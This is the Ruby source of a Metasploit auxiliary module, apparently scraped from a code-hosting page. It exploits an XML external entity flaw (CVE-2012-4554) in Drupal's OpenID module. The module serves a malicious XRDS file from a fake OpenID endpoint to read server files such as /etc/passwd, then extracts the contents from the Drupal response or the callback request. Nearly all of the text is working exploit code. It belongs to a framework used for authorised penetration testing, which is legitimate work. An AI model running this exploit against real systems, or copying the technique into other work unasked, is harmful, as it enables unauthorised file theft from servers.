Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/drupal_openid_xxe.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Exploit::Remote::HttpServer::HTML8include REXML910def initialize(info = {})11super(update_info(info,12'Name' => 'Drupal OpenID External Entity Injection',13'Description' => %q{14This module abuses an XML External Entity Injection15vulnerability on the OpenID module from Drupal. The vulnerability exists16in the parsing of a malformed XRDS file coming from a malicious OpenID17endpoint. This module has been tested successfully on Drupal 7.15 and187.2 with the OpenID module enabled.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Reginaldo Silva', # Vulnerability discovery24'juan vazquez' # Metasploit module25],26'References' =>27[28[ 'CVE', '2012-4554' ],29[ 'OSVDB', '86429' ],30[ 'BID', '56103' ],31[ 'URL', 'https://drupal.org/node/1815912' ],32[ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],33[ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]34],35'DisclosureDate' => '2012-10-17'36))3738register_options(39[40OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),41OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])42])4344end4546def xrds_file47element_entity = <<-EOF48<!ELEMENT URI ANY>49<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">50EOF5152xml = Document.new5354xml.add(DocType.new('foo', "[ #{element_entity} ]"))5556xml.add_element(57"xrds:XRDS",58{59'xmlns:xrds' => "xri://$xrds",60'xmlns' => "xri://$xrd*($v*2.0)",61'xmlns:openid' => "http://openid.net/xmlns/1.0",62})6364xrd = xml.root.add_element("XRD")6566xrd.add_element(67"Status",68{69"cid" => "verified"70}71)72provider = xrd.add_element("ProviderID")73provider.text = "xri://@"7475canonical = xrd.add_element("CanonicalID")76canonical.text = "http://example.com/user"7778service = xrd.add_element("Service")7980type_one = service.add_element("Type")81type_one.text = "http://specs.openid.net/auth/2.0/signon"8283type_two = service.add_element("Type")84type_two.text = "http://openid.net/srv/ax/1.0"8586uri = service.add_element("URI")87uri.text = "METASPLOIT"8889local_id = service.add_element("LocalID")90local_id.text = "http://example.com/xrds"9192return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding93end9495def check96signature = Rex::Text.rand_text_alpha(5 + rand(5))97res = send_openid_auth(signature)9899unless res100vprint_status("Connection timed out")101return Exploit::CheckCode::Unknown102end103104if drupal_with_openid?(res, signature)105return Exploit::CheckCode::Detected106end107108if generated_with_drupal?(res)109return Exploit::CheckCode::Safe110end111112return Exploit::CheckCode::Unknown113end114115def run116@prefix = Rex::Text.rand_text_alpha(4 + rand(4))117@suffix = Rex::Text.rand_text_alpha(4 + rand(4))118exploit119end120121def primer122res = send_openid_auth(get_uri)123124if res.nil?125# nothing to do here...126service.stop127return128end129130unless res.code == 500131print_warning("Unexpected answer, trying to parse anyway...")132end133134error_loot = parse_loot(res.body)135136# Check if file was retrieved on the drupal answer137# Better results, because there isn't URL encoding,138# plus probably allows to retrieve longer files.139print_status("Searching loot on the Drupal answer...")140unless loot?(error_loot)141# Check if file was leaked to the fake OpenID endpoint142# Contents are probably URL encoded, plus probably long143# files aren't full, but something is something :-)144print_status("Searching loot on HTTP query...")145loot?(@http_loot)146end147148# stop the service so the auxiliary module ends149service.stop150end151152153def on_request_uri(cli, request)154if request.uri =~ /#{@prefix}/155vprint_status("Signature found, parsing file...")156@http_loot = parse_loot(request.uri)157return158end159160print_status("Sending XRDS...")161send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })162end163164def send_openid_auth(identifier)165res = send_request_cgi({166'uri' => normalize_uri(target_uri.to_s, "/"),167'method' => 'POST',168'vars_get' => {169"q" => "node",170"destination" => "node"171},172'vars_post' => {173"openid_identifier" => identifier,174"name" => "",175"pass" => "",176"form_id" => "user_login_block",177"op" => "Log in"178}179})180181return res182end183184def store(data)185path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])186print_good("File found and saved to path: #{path}")187end188189def parse_loot(data)190return nil if data.blank?191192# Full file found193if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m194return $1195end196197# Partial file found198if data =~ /#{@prefix}\/(.*)/m199return $1200end201202return nil203end204205def loot?(data)206return false if data.blank?207store(data)208return true209end210211def drupal_with_openid?(http_response, signature)212return false if http_response.blank?213return false unless http_response.code == 200214return false unless http_response.body =~ /openid_identifier.*#{signature}/215return true216end217218def generated_with_drupal?(http_response)219return false if http_response.blank?220return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/221return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/222return false223end224225226end227228229230